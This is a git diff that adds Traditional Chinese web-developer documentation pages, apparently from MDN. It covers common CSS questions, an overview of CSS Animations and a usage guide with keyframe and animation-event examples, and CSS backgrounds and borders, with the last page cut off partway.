+<p>CSS 並不支援「以另一個樣式規則為基準」的樣式設定法。 (參考 <a class="external" href="http://archivist.incutio.com/viewlist/css-discuss/2685">Eric Meyer 所寫、關於 CSS 工作小組的說明</a>。) 不過，你可以為某單一元素套上多重樣式，製作出類似效果。
+</p>
+<h4 id=".E5.A5.97.E7.94.A8.E5.A4.9A.E9.87.8D.E9.A1.9E.E5.88.A5" name=".E5.A5.97.E7.94.A8.E5.A4.9A.E9.87.8D.E9.A1.9E.E5.88.A5"> 套用多重類別 </h4>
+<p>你可以在 HTML 元素的 <code>class</code> 屬性裡以空白字元分隔填上多個樣式類別名稱，便能同時套用多重類別。
+</p>
+<pre>&lt;style type="text/css"&gt;
+.firstclass { background: black; color: white; }
+.secondclass { font-weight: bold; }
+&lt;/style&gt;
+
+&lt;div class="firstclass secondclass"&gt;
+... content ...
+... content ...
+... content ...
+&lt;/div&gt;
+</pre>
+<p>若是這些規則中設定了同一種特性值，則會依序以明確性（specificity）、定義位置先後決定顯示方式，與<code>class</code> 屬性中的次序無關。
+</p>
+<h4 id=".E7.84.A1.E7.94.A8.E6.A8.A3.E5.BC.8F" name=".E7.84.A1.E7.94.A8.E6.A8.A3.E5.BC.8F"> 無用樣式 </h4>
+<p>即使樣式規則已經正確設定完畢，還是可能為瀏覽器所忽略，此時通常是經過語法及優先權法則判斷後的正常現象。
+</p><p>以下是導致樣式被略過的常見情形：
+</p>
+<ul><li> HTML 元素層次問題
+</li><li> 樣式規則重新定義
+</li><li> 特性的簡寫法
+</li><li> 使用 <code>*</code> 選取符
+</li><li> CSS 明確性
+</li></ul>
+<p>你可以使用 <a href="zh_tw/DOM_%e8%a7%80%e5%af%9f%e5%99%a8">DOM 觀察器</a> 的 <i>CSS Style Rules</i> 來檢查上述問題。
+</p><p><b>HTML 元素層次問題</b>
+</p><p>此時 CSS 樣式套用與否與元素的層次大有相關，請留意：套用到子元素的樣式必定會蓋過母元素的樣式，跟明確性或 CSS 規則的優先權無關。
+</p>
+<pre>#section { font-weight: bold; }
+.redtext { font-weight: normal; color: red; }
+
+&lt;div id="section"&gt;
+   粗體、
+   &lt;span class="redtext"&gt;正常紅字、&lt;/span&gt;
+   又見粗體
+&lt;/div&gt;
+</pre>
+<p>如果你的 HTML 層級錯綜複雜，發生規則意外被忽略的情形時，請檢查元素層級問題。可能有某個子元素套上了不該用的樣式。
+</p><p><b>樣式規則重新定義</b>
+</p><p>在 CSS 樣式表中，先後次序<b>非常</b>重要。如果你定義了某規則後又重新定義一次，則晚定義的才算數。
+</p>
+<pre>#section { font-weight: bold; }
+.redtext { color: red; }
+/* 其他規則 */
+/* 其他規則 */
+/* 其他規則 */
+.redtext { color: green; }
+
+&lt;div id="section"&gt;
+粗體、
+&lt;span class="redtext"&gt;正常紅字？&lt;/span&gt;
+又見粗體
+&lt;/div&gt;
+</pre>
+<p>為避免此類錯誤發生，每個特定選取符請僅定義一次樣式，集中特性一次定義也便於管理些。
+</p><p><br>
+<b>特性的簡寫法</b>
+</p><p>使用簡寫法來定義樣式簡明扼要，是個不錯的方法。你也可以用簡寫法設定某組特性中的部分特性值，但須留意其他沒寫到的部分會自動採用預設值。這表示之前的規則中為某單一特性定義的值可能失效。
+</p>
+<pre>#section { font-size: 12px; font-family: Verdana; font-weight: bold; }
+.redtext { font: 14px Arial; color: red; }
+
+&lt;div id="section"&gt;
+   採用 Verdana 粗體的 12px 字樣；
+   &lt;span class="redtext"&gt;採用 Arial 正常字體的 14px 紅字；&lt;/span&gt;
+   還是採用 Verdana 粗體的 12px 字樣。
+&lt;/div&gt;
+</pre>
+<p>前一個例子中，套用到不同元素範圍的同族特性是問題所在，但就算特性都寫在同一條規則裡也可能出問題，因為順序<b>真的</b>很重要。
+</p>
+<pre>#section {
+   font-weight: bold;
+   font: 12px Verdana;  /* 有了這行，font-weight 又回到預設的 normal 了 */
+}
+</pre>
+<p><br>
+<b>使用 <code>*</code> 選取符</b>
+</p><p><code>*</code> 選取符表示任何元素皆符合，但使用上應多加小心。
+</p>
+<pre>body * { font-weight: normal; }
+#section { font: 12px Verdana; }
+.boldtext { font-weight: bold; }
+.redtext { color: red; }
+
+&lt;div id="section"&gt;
+   正常、
+   &lt;span class="boldtext"&gt;
+      &lt;span class="redtext"&gt;正常紅字、&lt;/span&gt;
+   &lt;/span&gt;
+   又見正常。
+&lt;/div&gt;
+</pre>
+<p>在此例中，選取符為 <code>body *</code> 的規則會套用到所有 <code>body</code> 內的元素，也包括 <i>redtext</i>，所以原先套用到 <i>boldtext</i> 的 <code>font-weight: bold;</code> 就被覆蓋為 <code>font-weight: normal;</code> 了。
+</p><p><br>
+<b>CSS 明確性</b>
+</p><p>如果某元素會套用好幾條規則，則相衝突的特性就要靠規則的明確性來分高下。行內樣式（放在 HTML 各標籤的 <code>style</code> 屬性中）優先權最高，其次是以 <code>id</code> 做選取符的規則，再其次是以 <code>class</code> 套用的類別，最後則是單純以元素名稱當選取符的規則。
+</p>
+<pre>div { color: black; }
+#orange { color: orange; }
+.green { color: green; }
+
+&lt;div id="orange" class="green" style="color: red;"&gt;是紅的！&lt;/div&gt;
+</pre>
+<p>如果樣式規則的選取符分成好幾段，計算方式就更為複雜一些。需要瞭解完整資訊者，請參考 <a class="external" href="http://www.w3.org/TR/CSS21/cascade.html#specificity">CSS 2.1 規格書的 6.4.3 一節</a>。
+</p>
+<h4 id="-moz-.2A_.E7.89.B9.E6.80.A7.E6.98.AF.E4.BB.80.E9.BA.BC.E7.8E.A9.E6.84.8F.EF.BC.9F" name="-moz-.2A_.E7.89.B9.E6.80.A7.E6.98.AF.E4.BB.80.E9.BA.BC.E7.8E.A9.E6.84.8F.EF.BC.9F"> -moz-* 特性是什麼玩意？ </h4>
+<p>請見 <a href="zh_tw/Mozilla_%e6%93%b4%e5%85%85%e7%9a%84_CSS">Mozilla 擴充的 CSS</a>。由於這些擴充規格不是 W3C 標準的一部分，因此並不建議使用。
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/Common_CSS_Questions", "pl": "pl/Cz\u0119ste_pytania_o_CSS" } ) }}
diff --git a/files/zh-tw/web/css/css_animations/index.html b/files/zh-tw/web/css/css_animations/index.html
new file mode 100644
index 0000000000..7c953b2359
--- /dev/null
+++ b/files/zh-tw/web/css/css_animations/index.html
@@ -0,0 +1,136 @@
+---
+title: CSS Animations
+slug: Web/CSS/CSS_Animations
+tags:
+  - CSS
+  - CSS Animations
+  - Experimental
+  - Overview
+  - Reference
+translation_of: Web/CSS/CSS_Animations
+---
+<p>{{CSSRef}}{{SeeCompatTable}}</p>
+
+<p><strong>CSS Animations</strong> is a module of CSS that defines how to animate the values of CSS properties over time, using keyframes. The behavior of these keyframe animations can be controlled by specifying their duration, their number of repetitions, and how they repeat.</p>
+
+<h2 id="Reference">Reference</h2>
+
+<h3 id="CSS_Properties">CSS Properties</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("animation")}}</li>
+ <li>{{cssxref("animation")}}</li>
+ <li>{{cssxref("animation-delay")}}</li>
+ <li>{{cssxref("animation-direction")}}</li>
+ <li>{{cssxref("animation-duration")}}</li>
+ <li>{{cssxref("animation-fill-mode")}}</li>
+ <li>{{cssxref("animation-iteration-count")}}</li>
+ <li>{{cssxref("animation-name")}}</li>
+ <li>{{cssxref("animation-play-state")}}</li>
+ <li>{{cssxref("animation-timing-function")}}</li>
+</ul>
+</div>
+
+<h3 id="CSS_At-rules">CSS At-rules</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("@keyframes")}}</li>
+</ul>
+</div>
+
+<h2 id="Guides">Guides</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/CSS/CSS_Animations/Detecting_CSS_animation_support">Detecting CSS animation support</a></dt>
+ <dd>Describes a technique for detecting if the browser supports CSS animations.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/CSS_Animations/Using_CSS_animations">Using CSS animations</a></dt>
+ <dd>Step-by-step tutorial about how to create animations using CSS, this article describes each relevant CSS property and at-rule and explains how they interact.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Animations') }}</td>
+   <td>{{ Spec2('CSS3 Animations') }}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}{{property_prefix("-webkit")}}<br>
+    43.0</td>
+   <td>{{CompatGeckoDesktop("5.0")}}{{property_prefix("-moz")}}<br>
+    {{CompatGeckoDesktop("16.0")}}</td>
+   <td>10</td>
+   <td>12{{property_prefix("-o")}}<br>
+    12.10<sup>[2]</sup></td>
+   <td>4.0{{property_prefix("-webkit")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>2.1 {{property_prefix("-webkit")}} [1]<br>
+    4.0 {{property_prefix("-webkit")}}</td>
+   <td>{{CompatGeckoMobile("5.0")}}{{property_prefix("-moz")}}<br>
+    {{CompatGeckoMobile("16.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}{{property_prefix("-webkit")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Partial support: {{cssxref("animation-fill-mode")}} property is not supported in Android browser below 2.3.</p>
+
+<p>[2] See the <a href="http://my.opera.com/ODIN/blog/2012/08/03/a-hot-opera-12-50-summer-time-snapshot">release notes to Opera 12.50</a>.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>Related to CSS Animations, <a href="/en-US/docs/Web/CSS/CSS_Transitions">CSS Transitions</a> can trigger animations on user actions.</li>
+</ul>
+
+<p> </p>
diff --git a/files/zh-tw/web/css/css_animations/using_css_animations/index.html b/files/zh-tw/web/css/css_animations/using_css_animations/index.html
new file mode 100644
index 0000000000..82acb8ac6e
--- /dev/null
+++ b/files/zh-tw/web/css/css_animations/using_css_animations/index.html
@@ -0,0 +1,334 @@
+---
+title: CSS 動畫
+slug: Web/CSS/CSS_Animations/Using_CSS_animations
+tags:
+  - Advanced
+  - CSS animation
+  - CSS 動畫
+  - Example
+  - Experimental
+  - Guide
+translation_of: Web/CSS/CSS_Animations/Using_CSS_animations
+---
+<p><span class="diff_add">{{SeeCompatTable}}{{CSSRef}}</span></p>
+
+<div>
+<p> CSS animations 使 CSS style configuration 的轉變變得可行。在這種動畫的運作上，你只需要定義兩個部份：1. 動畫的最初及結尾 2. 動畫轉變的方式。</p>
+
+<p>  相較於傳統 script-driven 的動畫技術，CSS animations 有三種好處：</p>
+
+<ol>
+ <li>對於不複雜的動畫來說，CSS animation 是好選擇。你甚至不必懂得  JavaScript。</li>
+ <li>在資源消耗上，CSS animation 有優勢，即使在系統負載超過 50% 仍可有效運作。在 JavaScript 上要達到一樣的目的有賴於你寫出品質非常好的  code。事實上，CSS animation 在運作上可以適時的減少 frame 量或以其它技術減少資源消耗。</li>
+ <li>CSS animation 讓瀏覽器來負責動畫的產生過程，如此可以擁有較好的優化。</li>
+</ol>
+
+<h2 id="CSS_animation_設定">CSS animation 設定</h2>
+
+<p>  你可以使用 {{ cssxref("animation") }} property 或其 sub-properties 來創建 CSS 動畫的細節(諸如轉化時間等)。但這並不能決定動畫的外觀，外觀的部份我們將在下面的 {{ anch("使用關鍵影格定義動畫流程") }} 介紹。</p>
+
+<p>  這裡是 {{ cssxref("animation") }} property 的 sub-properties：</p>
+
+<dl>
+ <dt>{{ cssxref("animation-delay") }}</dt>
+ <dd>定義元素讀取完畢到動畫開始的間隔時間。</dd>
+ <dt>{{ cssxref("animation-direction") }}</dt>
+ <dd>定義是否動畫播放完畢後將會反向播放。</dd>
+ <dt>{{ cssxref("animation-duration") }}</dt>
+ <dd>定義動畫完成一次週期的時間。</dd>
+ <dt>{{ cssxref("animation-iteration-count") }}</dt>
+ <dd>定義動畫重複的次數。你可以用 <code>infinite</code> 來讓動畫永遠重複播放。</dd>
+ <dt>{{ cssxref("animation-name") }}</dt>
+ <dd>定義關鍵影格 {{ cssxref("@keyframes") }} 的名字。</dd>
+ <dt>{{ cssxref("animation-play-state") }}</dt>
+ <dd>控制動畫的播放狀態。有 pause 和 running 兩種值，後者為預設值。</dd>
+ <dt>{{ cssxref("animation-timing-function") }}</dt>
+ <dd>定義動畫轉變時時間的加速曲線 (例如 linear)。</dd>
+ <dt>{{ cssxref("animation-fill-mode") }}</dt>
+ <dd>定義元素在動畫播放外(動畫開始前及結束後)的狀態。</dd>
+</dl>
+
+<h2 id="使用關鍵影格定義動畫流程">使用關鍵影格定義動畫流程</h2>
+
+<p>  在你設定了動畫的時間資訊之後，你必須要設定動畫漸變的過程。這可以藉由建造兩個或更多的關鍵影格來達到目的 (使用 {{ cssxref("@keyframes") }} )。關鍵影格描述了該元素在漸變過程中的外觀。</p>
+
+<p>  因為動畫漸變時間已經在 CSS style 中被定義(見上節)，所以關鍵影格使用 {{ cssxref("percentage") }} 來指出他們會在整個漸變流程中的哪個時間點出現。 0% 代表他是整個動畫的起點，而 100% 指出他是整個動畫的結束點。這兩個特殊時間點一定要被定義，如此一來瀏覽器材知道該如何產生你的動畫。也因為他們是如此重要，所以這兩個時間點有特殊的別名： <code>from</code> 和 <code>to。</code></p>
+
+<p>  當然你也可以在動畫轉變過程中增加更多的關鍵影格。</p>
+
+<h2 id="範例">範例</h2>
+
+<div class="note"><strong>注意：</strong> 為了簡潔起見，以下的範例中我們只列出前綴為 <code>-moz-</code> 的部份。當你查看 Live Sample 的原始碼時，可以看到前綴為 <code>-webkit-</code> 的部份。</div>
+
+<h3 id="使文字滑過畫面">使文字滑過畫面</h3>
+
+<p>  這是一個簡單的範例，他展示了 {{ HTMLElement("p") }} element 從畫面右方滑向左方。</p>
+
+<pre class="brush: css">&lt;style type="text/css"&gt;
+  p {
+    -moz-animation-duration: 3s;
+    -moz-animation-name: slidein;
+  }
+
+  @-moz-keyframes slidein {
+    from {
+      margin-left: 100%;
+      width: 300%
+    }
+
+    to {
+      margin-left: 0%;
+      width: 100%;
+    }
+  }
+&lt;/style&gt;
+</pre>
+
+<p>  這裡用 {{ cssxref("animation-duration") }} property 定義 {{ HTMLElement("p") }} element 的變動自開始到結束共花 3 秒。而關鍵影格的名稱由 {{ cssxref("@keyframes") }} 指定 - 叫做 slidein。</p>
+
+<p>  傳統的 {{ HTMLElement("p") }} element 尚有其他性質可供設定，但假設這些性質並不支援 CSS animation，則我們不能期待他們會被瀏覽器顯示。</p>
+
+<p>  這裡的關鍵影格我們定義了兩個 (以 {{ cssxref("@keyframes") }} 定義)，開始 (0%)和結束 (100%)。開始的影格在 from 中，而結束在 to 中。由程式中我們可以看到，整個動畫由最一開始處於最右方且 width 為 300% 轉變為處於最左方且 width 為 100%。如此一來你就可以看到 {{ HTMLElement("p") }} element 由右而左的滑過畫面。</p>
+
+<p>  結束影格描述 width 為 100% 可以確保 {{ HTMLElement("p") }} element 在可視範圍內。</p>
+
+<pre class="brush: html">&lt;p&gt;The Caterpillar and Alice looked at each other for some time in silence:
+at last the Caterpillar took the hookah out of its mouth, and addressed
+her in a languid, sleepy voice.&lt;/p&gt;
+</pre>
+
+<p>{{EmbedLiveSample("使文字滑過畫面","100%","250")}}</p>
+
+<h3 id="在開頭和結束間加入關鍵影格">在開頭和結束間加入關鍵影格</h3>
+
+<p>  現在我們試著多加入新的關鍵影格。在這個範例中，我們希望做到在文字在移動時字體先變大而後恢復正常。程式碼如下：</p>
+
+<pre class="brush: css">75% {
+  font-size: 300%;
+  margin-left: 25%;
+  width: 150%;
+}
+</pre>
+
+<pre class="brush: css hidden">p {
+  animation-duration: 3s;
+  animation-name: slidein;
+}
+
+@keyframes slidein {
+  from {
+    margin-left: 100%;
+    width: 300%;
+  }
+
+  to {
+    margin-left: 0%;
+    width: 100%;
+  }
+}
+</pre>
+
+<pre class="brush: html hidden">&lt;p&gt;The Caterpillar and Alice looked at each other for some time in silence:
+at last the Caterpillar took the hookah out of its mouth, and addressed
+her in a languid, sleepy voice.&lt;/p&gt;
+</pre>
+
+<p>  這段程式碼告訴瀏覽器在開始後過了 75% 的時間後字體增大到三倍，且位置在離左側 25 % 處，此時總寬度為 150%。</p>
+
+<p>{{EmbedLiveSample("在開頭和結束間加入關鍵影格","100%","250")}}</p>
+
+<h3 id="重複播放">重複播放</h3>
+
+<p>  為了達到重複播放的目的，我們使用 {{ cssxref("animation-iteration-count") }} property。讓我們把它設定成 <code>infinite</code> ：</p>
+
+<pre class="brush: css">p {
+  -moz-animation-duration: 3s;
+  -moz-animation-name: slidein;
+  -moz-animation-iteration-count: infinite;
+} </pre>
+
+<pre class="brush: css hidden">@keyframes slidein {
+  from {
+    margin-left: 100%;
+    width: 300%;
+  }
+
+  to {
+    margin-left: 0%;
+    width: 100%;
+  }
+}
+</pre>
+
+<pre class="brush: html hidden">&lt;p&gt;The Caterpillar and Alice looked at each other for some time in silence:
+at last the Caterpillar took the hookah out of its mouth, and addressed
+her in a languid, sleepy voice.&lt;/p&gt;
+</pre>
+
+<p>{{EmbedLiveSample("重複播放","100%","250")}}</p>
+
+<h3 id="播放完畢後反向播放">播放完畢後反向播放</h3>
+
+<p>  由上個例子我們知道該如何永久性播放動畫。但這個顯示結果有些突兀，是以我們試著讓他播放完畢後倒帶執行。這需要用到 {{ cssxref("animation-direction") }}，賦予 <code>alternate 的值：</code></p>
+
+<pre class="brush: css">p {
+  -moz-animation-duration: 3s;
+  -moz-animation-name: slidein;
+  -moz-animation-iteration-count: infinite;
+  -moz-animation-direction: alternate;
+} </pre>
+
+<pre class="brush: css hidden">@keyframes slidein {
+  from {
+    margin-left: 100%;
+    width: 300%;
+  }
+
+  to {
+    margin-left: 0%;
+    width: 100%;
+  }
+}
+</pre>
+
+<pre class="brush: html hidden">&lt;p&gt;The Caterpillar and Alice looked at each other for some time in silence:
+at last the Caterpillar took the hookah out of its mouth, and addressed
+her in a languid, sleepy voice.&lt;/p&gt;
+</pre>
+
+<p>{{EmbedLiveSample("播放完畢後反向播放","100%","250")}}</p>
+
+<h3 id="使用動畫的事件">使用動畫的事件</h3>
+
+<p>  你可以藉由 animation event 來對 CSS animation 做更進階的控制，這需要用到 {{ domxref("event/AnimationEvent", "AnimationEvent") }} 物件。他可以用來偵測動畫所處的時間點等資訊。每個 event 包含發生的時間以及觸發 event 的動畫名字。</p>
+
+<p>  我們將修改剛剛的範例來展示 animation event 的能力。</p>
+
+<pre class="brush: css">.slidein {
+  -moz-animation-duration: 3s;
+  -webkit-animation-duration: 3s;
+  animation-duration: 3s;
+  -moz-animation-name: slidein;
+  -webkit-animation-name: slidein;
+  animation-name: slidein;
+  -moz-animation-iteration-count: 3;
+  -webkit-animation-iteration-count: 3;
+  animation-iteration-count: 3;
+  -moz-animation-direction: alternate;
+  -webkit-animation-direction: alternate;
+  animation-direction: alternate;
+}
+
+@-moz-keyframes slidein {
+  from {
+    margin-left:100%;
+    width:300%
+  }
+
+  to {
+    margin-left:0%;
+    width:100%;
+  }
+}
+
+@-webkit-keyframes slidein {
+  from {
+    margin-left:100%;
+    width:300%
+  }
+
+  to {
+   margin-left:0%;
+   width:100%;
+ }
+}
+
+@keyframes slidein {
+  from {
+    margin-left:100%;
+    width:300%
+  }
+
+  to {
+   margin-left:0%;
+   width:100%;
+ }
+}</pre>
+
+<h4 id="設定_animation_event_listeners">設定 animation event listeners</h4>
+
+<p>  我們使用 JavaScript 來監控所有可能的 animation events。下面的 <code>setup()</code> 函式設定我們的 event listeners，並且在文件第一次被載入時執行他：</p>
+
+<pre class="brush: js">function setup() {
+  var e = document.getElementById("watchme");
+  e.addEventListener("animationstart", listener, false);
+  e.addEventListener("animationend", listener, false);
+  e.addEventListener("animationiteration", listener, false);
+
+  var e = document.getElementById("watchme");
+  e.className = "slidein";
+}
+</pre>
+
+<p>  這是非常簡單的程式，你可以從其它相關文件中取得 {{ domxref("element.addEventListener()") }} 的更多細節。setup() 函式所做的最後一件事是設定這個 element 的 class name 為 slidein，此時，我們啟動了這個動畫。</p>
+
+<p>  這麼做的原因是 <code>animationstart</code> event 會在被動畫執行時立刻被觸發，所以我們只好在最後才設定 class name。</p>
+
+<h4 id="接收_events">接收 events</h4>
+
+<p>  這些 events 會被發送到 <code>listener()</code> 函式，如下所示：</p>
+
+<pre class="brush: js">function listener(e) {
+  var l = document.createElement("li");
+  switch(e.type) {
+    case "animationstart":
+      l.innerHTML = "Started: elapsed time is " + e.elapsedTime;
+      break;
+    case "animationend":
+      l.innerHTML = "Ended: elapsed time is " + e.elapsedTime;
+      break;
+    case "animationiteration":
+      l.innerHTML = "New loop started at time " + e.elapsedTime;
+      break;
+  }
+  document.getElementById("output").appendChild(l);
+}
+</pre>
+
+<p>  這段程式檢查藉由檢查 {{ domxref("event.type") }} 得知現在收到了哪種 animation event，並且以一個 {{ HTMLElement("ul") }} (unordered list) 形式的記錄下他。</p>
+
+<p>  程式執行結果看起來會是這樣子的：</p>
+
+<ul id="output">
+ <li>Started: elapsed time is 0</li>
+ <li>New loop started at time 3.01200008392334</li>
+ <li>New loop started at time 6.00600004196167</li>
+ <li>Ended: elapsed time is 9.234000205993652</li>
+</ul>
+
+<p>  注意這裡的時間是一個範例，你自己執行可能會取得不一樣的結果(但應該會近似)。此外，在動畫的最後，event 會是 <code>animationend</code> 而非  <code>animationiteration</code> 。</p>
+
+<h4 id="完整的_HTML_程式碼">完整的 HTML 程式碼</h4>
+
+<p>  這裡是完整的 HTML 程式碼：</p>
+
+<pre class="brush: html">&lt;body onload="setup()"&gt;
+  &lt;h1 id="watchme"&gt;Watch me move&lt;/h1&gt;
+  &lt;p&gt;This example shows how to use CSS animations to make &lt;code&gt;h1&lt;/code&gt; elements
+  move across the page.&lt;/p&gt;
+  &lt;p&gt;In addition, we output some text each time an animation event fires, so you can see them in action.&lt;/p&gt;
+  &lt;ul id="output"&gt;
+  &lt;/ul&gt;
+&lt;/body&gt; </pre>
+
+<p>{{EmbedLiveSample('使用動畫的事件', '600', '300')}}</p>
+
+<h2 id="更多資訊">更多資訊</h2>
+
+<ul>
+ <li>{{ domxref("Event/AnimationEvent", "AnimationEvent") }}</li>
+ <li><a href="/en/CSS/CSS_animations/Detecting_CSS_animation_support" title="en/CSS/CSS animations/Detecting CSS animation support">Detecting CSS animation support</a></li>
+</ul>
+</div>
+
+<p> </p>
diff --git a/files/zh-tw/web/css/css_background_and_borders/index.html b/files/zh-tw/web/css/css_background_and_borders/index.html
new file mode 100644
index 0000000000..dcfeef033a
--- /dev/null
+++ b/files/zh-tw/web/css/css_background_and_borders/index.html
@@ -0,0 +1,152 @@
+---
+title: CSS Background and Borders
+slug: Web/CSS/CSS_Background_and_Borders
+tags:
+  - CSS
+  - CSS Background and Borders
+  - CSS Reference
+  - Overview
+translation_of: Web/CSS/CSS_Backgrounds_and_Borders
+---
+<p>{{CSSRef}}</p>
+
+<p><strong>CSS Background and Borders</strong> is a module of CSS that defines how background and borders of elements are described. Borders can be lines or images, boxes can have one or multiple backgrounds, have rounded corners, and shadows.</p>
+
+<h2 id="Reference">Reference</h2>
+
+<h3 id="CSS_Properties">CSS Properties</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("background")}}</li>
+ <li>{{cssxref("background-attachment")}}</li>
+ <li>{{cssxref("background-clip")}}</li>
+ <li>{{cssxref("background-color")}}</li>
+ <li>{{cssxref("background-image")}}</li>
+ <li>{{cssxref("background-origin")}}</li>
+ <li>{{cssxref("background-position")}}</li>
+ <li>{{cssxref("background-repeat")}}</li>
+ <li>{{cssxref("background-size")}}</li>
+ <li>{{cssxref("box-shadow")}}</li>
+ <li>{{cssxref("border")}}</li>
+ <li>{{cssxref("border-bottom")}}</li>
+ <li>{{cssxref("border-bottom-color")}}</li>
+ <li>{{cssxref("border-bottom-left-radius")}}</li>
+ <li>{{cssxref("border-bottom-right-radius")}}</li>
+ <li>{{cssxref("border-bottom-style")}}</li>
+ <li>{{cssxref("border-bottom-width")}}</li>
+ <li>{{cssxref("border-collapse")}}</li>
+ <li>{{cssxref("border-color")}}</li>
+ <li>{{cssxref("border-image")}}</li>
+ <li>{{cssxref("border-image-outset")}}</li>
+ <li>{{cssxref("border-image-repeat")}}</li>
+ <li>{{cssxref("border-image-slice")}}</li>
+ <li>{{cssxref("border-image-source")}}</li>
+ <li>{{cssxref("border-image-width")}}</li>
+ <li>{{cssxref("border-left")}}</li>
+ <li>{{cssxref("border-left-color")}}</li>
+ <li>{{cssxref("border-left-style")}}</li>
+ <li>{{cssxref("border-left-width")}}</li>
+ <li>{{cssxref("border-radius")}}</li>
+ <li>{{cssxref("border-right")}}</li>
+ <li>{{cssxref("border-right-color")}}</li>
+ <li>{{cssxref("border-right-style")}}</li>
+ <li>{{cssxref("border-right-width")}}</li>
+ <li>{{cssxref("border-style")}}</li>
+ <li>{{cssxref("border-top")}}</li>
+ <li>{{cssxref("border-top-color")}}</li>
+ <li>{{cssxref("border-top-left-radius")}}</li>
+ <li>{{cssxref("border-top-right-radius")}}</li>
+ <li>{{cssxref("border-top-style")}}</li>
+ <li>{{cssxref("border-top-width")}}</li>
+ <li>{{cssxref("border-width")}}</li>
+</ul>
+</div>
+
+<h2 id="Guides">Guides</h2>
+
+<dl>
+ <dt><a href="/zh-TW/docs/Web/CSS/CSS_Background_and_Borders/Using_CSS_multiple_backgrounds">Using CSS multiple backgrounds</a></dt>
+ <dd>Explains how to set backgrounds on elements and how they will interact with it.</dd>
+ <dt><a href="/zh-TW/docs/Web/CSS/CSS_Background_and_Borders/Scaling_background_images">Scaling background images</a></dt>
+ <dd>Describes how to change the appearance of the background images, by stretching them or repeating them, to cover the whole background of the element, or not.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Backgrounds') }}</td>
+   <td>{{ Spec2('CSS3 Backgrounds') }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'box.html')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#border')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable()}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1.0")}}</td>
+   <td>4.0</td>
+   <td>3.5</td>
+   <td>1.0 (85)</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatGeckoMobile("1.9.2")}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>1.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/zh-tw/web/css/css_background_and_borders/using_css_multiple_backgrounds/index.html b/files/zh-tw/web/css/css_background_and_borders/using_css_multiple_backgrounds/index.html
new file mode 100644
index 0000000000..244234b839
--- /dev/null
+++ b/files/zh-tw/web/css/css_background_and_borders/using_css_multiple_backgrounds/index.html
@@ -0,0 +1,84 @@
+---
+title: 使用 CSS 多重背景
+slug: Web/CSS/CSS_Background_and_Borders/Using_CSS_multiple_backgrounds
+tags:
+  - CSS
+  - CSS Background
+  - Example
+  - Guide
+  - Intermediate
+translation_of: Web/CSS/CSS_Backgrounds_and_Borders/Using_multiple_backgrounds
+---
+<p>{{CSSRef}}</p>
+
+<p><span class="seoSummary">藉由 <a href="/en/CSS/CSS3" title="CSS3">CSS3</a> 我們可以對元素使用 <strong>多重背景</strong>。每個設定的背景被一個個分層，第一個背景在最上面，最後一個背景是在最下面一層。</span> 記得只有最後一個背景可以設定 background color。</p>
+
+<p>簡易的表達方式:</p>
+
+<pre class="brush: css">.myclass {
+  background:
+      background 1, //第一層
+      background 2,
+      ...,
+      background N;  //最後一層
+}
+</pre>
+
